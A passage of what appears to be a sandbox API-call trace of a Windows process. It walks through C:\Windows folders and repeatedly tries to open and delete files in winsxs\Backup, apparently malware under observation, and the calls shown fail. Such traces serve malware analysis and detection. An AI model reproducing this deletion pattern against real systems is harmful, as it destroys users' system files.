ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.765] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.765] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20432b0) returned 1 [0063.765] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040d08) returned 1 [0063.765] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\TAPI\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12b00f8, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x8d561533, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8d561533, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.766] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.766] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20432e8) returned 1 [0063.766] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\Tasks\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12b00f8, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2bfe5dcf, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x2bfe5dcf, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.766] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.766] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\Temp\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bf0158d, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x2bf0158d, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x2bf0158d, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x1fd2, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="SCHEDLGU.TXT", cAlternateFileName="")) returned 0xffffffff [0063.766] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\tracing\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12d6252, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x12d6252, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x9f16e414, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.767] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.767] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\twain_32\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80cc6128, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80cc6128, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.767] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.767] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\Vss\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12d6252, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x12d6252, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x12d6252, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.768] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.768] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\Web\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12fc3ac, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x80046d91, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80046d91, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.768] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.768] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12fc3ac, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x716f6b60, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x716f6b60, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0065.917] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\*", lpFindFileData=0x18f934 | out: lpFindFileData=0x18f934*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1194327a, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x49d35800, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49d35800, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x45b, dwReserved1=0x5b, cFileName=".", cAlternateFileName="")) returned 0x72d330 [0065.995] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0065.995] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_hid-user.resources_31bf3856ad364e35_6.1.7600.16385_en-us_c19781a304e374a4.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_hid-user.resources_31bf3856ad364e35_6.1.7600.16385_en-us_c19781a304e374a4.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.001] CloseHandle (hObject=0xffffffff) returned 0 [0066.001] CloseHandle (hObject=0xffffffff) returned 0 [0066.001] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_hid-user.resources_31bf3856ad364e35_6.1.7600.16385_en-us_c19781a304e374a4.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_hid-user.resources_31bf3856ad364e35_6.1.7600.16385_en-us_c19781a304e374a4.manifest")) returned 0 [0066.002] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.002] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_hid-user.resources_31bf3856ad364e35_6.1.7600.16385_en-us_c19781a304e374a4_hid.dll.mui_cccd5ae0" (normalized: "c:\\windows\\winsxs\\backup\\amd64_hid-user.resources_31bf3856ad364e35_6.1.7600.16385_en-us_c19781a304e374a4_hid.dll.mui_cccd5ae0"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.002] CloseHandle (hObject=0xffffffff) returned 0 [0066.002] CloseHandle (hObject=0xffffffff) returned 0 [0066.002] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_hid-user.resources_31bf3856ad364e35_6.1.7600.16385_en-us_c19781a304e374a4_hid.dll.mui_cccd5ae0" (normalized: "c:\\windows\\winsxs\\backup\\amd64_hid-user.resources_31bf3856ad364e35_6.1.7600.16385_en-us_c19781a304e374a4_hid.dll.mui_cccd5ae0")) returned 0 [0066.003] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.003] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_hid-user.resources_31bf3856ad364e35_6.1.7600.16385_en-us_c19781a304e374a4_hidserv.dll.mui_561adfc8" (normalized: "c:\\windows\\winsxs\\backup\\amd64_hid-user.resources_31bf3856ad364e35_6.1.7600.16385_en-us_c19781a304e374a4_hidserv.dll.mui_561adfc8"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.003] CloseHandle (hObject=0xffffffff) returned 0 [0066.003] CloseHandle (hObject=0xffffffff) returned 0 [0066.003] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_hid-user.resources_31bf3856ad364e35_6.1.7600.16385_en-us_c19781a304e374a4_hidserv.dll.mui_561adfc8" (normalized: "c:\\windows\\winsxs\\backup\\amd64_hid-user.resources_31bf3856ad364e35_6.1.7600.16385_en-us_c19781a304e374a4_hidserv.dll.mui_561adfc8")) returned 0 [0066.003] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.003] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-a..ce-router.resources_31bf3856ad364e35_6.1.7600.16385_en-us_243862f6e4997dad.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-a..ce-router.resources_31bf3856ad364e35_6.1.7600.16385_en-us_243862f6e4997dad.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.004] CloseHandle (hObject=0xffffffff) returned 0 [0066.004] CloseHandle (hObject=0xffffffff) returned 0 [0066.004] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-a..ce-router.resources_31bf3856ad364e35_6.1.7600.16385_en-us_243862f6e4997dad.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-a..ce-router.resources_31bf3856ad364e35_6.1.7600.16385_en-us_243862f6e4997dad.manifest")) returned 0 [0066.004] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.004] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-a..ce-router.resources_31bf3856ad364e35_6.1.7600.16385_en-us_243862f6e4997dad_activeds.dll.mui_67414db4" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-a..ce-router.resources_31bf3856ad364e35_6.1.7600.16385_en-us_243862f6e4997dad_activeds.dll.mui_67414db4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.004] CloseHandle (hObject=0xffffffff) returned 0 [0066.004] CloseHandle (hObject=0xffffffff) returned 0 [0066.004] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-a..ce-router.resources_31bf3856ad364e35_6.1.7600.16385_en-us_243862f6e4997dad_activeds.dll.mui_67414db4" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-a..ce-router.resources_31bf3856ad364e35_6.1.7600.16385_en-us_243862f6e4997dad_activeds.dll.mui_67414db4")) returned 0 [0066.005] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.005] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-a..core-base.resources_31bf3856ad364e35_6.1.7600.16385_en-us_c620663a0d83d04f.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-a..core-base.resources_31bf3856ad364e35_6.1.7600.16385_en-us_c620663a0d83d04f.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.005] CloseHandle (hObject=0xffffffff) returned 0 [0066.005] CloseHandle (hObject=0xffffffff) returned 0 [0066.005] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-a..core-base.resources_31bf3856ad364e35_6.1.7600.16385_en-us_c620663a0d83d04f.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-a..core-base.resources_31bf3856ad364e35_6.1.7600.16385_en-us_c620663a0d83d04f.manifest")) returned 0 [0066.005] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.006] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-a..core-base.resources_31bf3856ad364e35_6.1.7600.16385_en-us_c620663a0d83d04f_winmm.dll.mui_224f6445" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-a..core-base.resources_31bf3856ad364e35_6.1.7600.16385_en-us_c620663a0d83d04f_winmm.dll.mui_224f6445"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.006] CloseHandle (hObject=0xffffffff) returned 0 [0066.006] CloseHandle (hObject=0xffffffff) returned 0 [0066.006] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-a..core-base.resources_31bf3856ad364e35_6.1.7600.16385_en-us_c620663a0d83d04f_winmm.dll.mui_224f6445" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-a..core-base.resources_31bf3856ad364e35_6.1.7600.16385_en-us_c620663a0d83d04f_winmm.dll.mui_224f6445")) returned 0 [0066.006] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.006] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-a..ence-infrastructure_31bf3856ad364e35_6.1.7601.17514_none_3337092d63596104.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-a..ence-infrastructure_31bf3856ad364e35_6.1.7601.17514_none_3337092d63596104.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.007] CloseHandle (hObject=0xffffffff) returned 0 [0066.007] CloseHandle (hObject=0xffffffff) returned 0 [0066.007] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-a..ence-infrastructure_31bf3856ad364e35_6.1.7601.17514_none_3337092d63596104.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-a..ence-infrastructure_31bf3856ad364e35_6.1.7601.17514_none_3337092d63596104.manifest")) returned 0 [0066.007] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.007] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-a..ence-infrastructure_31bf3856ad364e35_6.1.7601.17514_none_3337092d63596104_aelupsvc.dll_f420497b" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-a..ence-infrastructure_31bf3856ad364e35_6.1.7601.17514_none_3337092d63596104_aelupsvc.dll_f420497b"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.007] CloseHandle (hObject=0xffffffff) returned 0 [0066.007] CloseHandle (hObject=0xffffffff) returned 0 [0066.007] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-a..ence-infrastructure_31bf3856ad364e35_6.1.7601.17514_none_3337092d63596104_aelupsvc.dll_f420497b" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-a..ence-infrastructure_31bf3856ad364e35_6.1.7601.17514_none_3337092d63596104_aelupsvc.dll_f420497b")) returned 0 [0066.008] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.008] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-a..ence-infrastructure_31bf3856ad364e35_6.1.7601.17514_none_3337092d63596104_apphelp.dll_7ce69c4a" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-a..ence-infrastructure_31bf3856ad364e35_6.1.7601.17514_none_3337092d63596104_apphelp.dll_7ce69c4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.008] CloseHandle (hObject=0xffffffff) returned 0 [0066.008] CloseHandle (hObject=0xffffffff) returned 0 [0066.008] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-a..ence-infrastructure_31bf3856ad364e35_6.1.7601.17514_none_3337092d63596104_apphelp.dll_7ce69c4a" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-a..ence-infrastructure_31bf3856ad364e35_6.1.7601.17514_none_3337092d63596104_apphelp.dll_7ce69c4a")) returned 0 [0066.008] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.008] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-a..ence-infrastructure_31bf3856ad364e35_6.1.7601.17514_none_3337092d63596104_sdbinst.exe_8725e339" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-a..ence-infrastructure_31bf3856ad364e35_6.1.7601.17514_none_3337092d63596104_sdbinst.exe_8725e339"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.009] CloseHandle (hObject=0xffffffff) returned 0 [0066.009] CloseHandle (hObject=0xffffffff) returned 0 [0066.009] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-a..ence-infrastructure_31bf3856ad364e35_6.1.7601.17514_none_3337092d63596104_sdbinst.exe_8725e339" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-a..ence-infrastructure_31bf3856ad364e35_6.1.7601.17514_none_3337092d63596104_sdbinst.exe_8725e339")) returned 0 [0066.009] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.009] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-a..ence-infrastructure_31bf3856ad364e35_6.1.7601.17514_none_3337092d63596104_shimeng.dll_2036b947" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-a..ence-infrastructure_31bf3856ad364e35_6.1.7601.17514_none_3337092d63596104_shimeng.dll_2036b947"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.009] CloseHandle (hObject=0xffffffff) returned 0 [0066.009] CloseHandle (hObject=0xffffffff) returned 0 [0066.009] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-a..ence-infrastructure_31bf3856ad364e35_6.1.7601.17514_none_3337092d63596104_shimeng.dll_2036b947" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-a..ence-infrastructure_31bf3856ad364e35_6.1.7601.17514_none_3337092d63596104_shimeng.dll_2036b947")) returned 0 [0066.019] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.019] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-a..es-interface-router_31bf3856ad364e35_6.1.7600.16385_none_b3eaf84f983a33ee.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-a..es-interface-router_31bf3856ad364e35_6.1.7600.16385_none_b3eaf84f983a33ee.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.019] CloseHandle (hObject=0xffffffff) returned 0 [0066.019] CloseHandle (hObject=0xffffffff) returned 0 [0066.019] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-a..es-interface-router_31bf3856ad364e35_6.1.7600.16385_none_b3eaf84f983a33ee.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-a..es-interface-router_31bf3856ad364e35_6.1.7600.16385_none_b3eaf84f983a33ee.manifest")) returned 0 [0066.019] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.020] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-a..es-interface-router_31bf3856ad364e35_6.1.7600.16385_none_b3eaf84f983a33ee_activeds.dll_662643d7" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-a..es-interface-router_31bf3856ad364e35_6.1.7600.16385_none_b3eaf84f983a33ee_activeds.dll_662643d7"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.020] CloseHandle (hObject=0xffffffff) returned 0 [0066.020] CloseHandle (hObject=0xffffffff) returned 0 [0066.020] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-a..es-interface-router_31bf3856ad364e35_6.1.7600.16385_none_b3eaf84f983a33ee_activeds.dll_662643d7" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-a..es-interface-router_31bf3856ad364e35_6.1.7600.16385_none_b3eaf84f983a33ee_activeds.dll_662643d7")) returned 0 [0066.020] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.020] CreateFileW 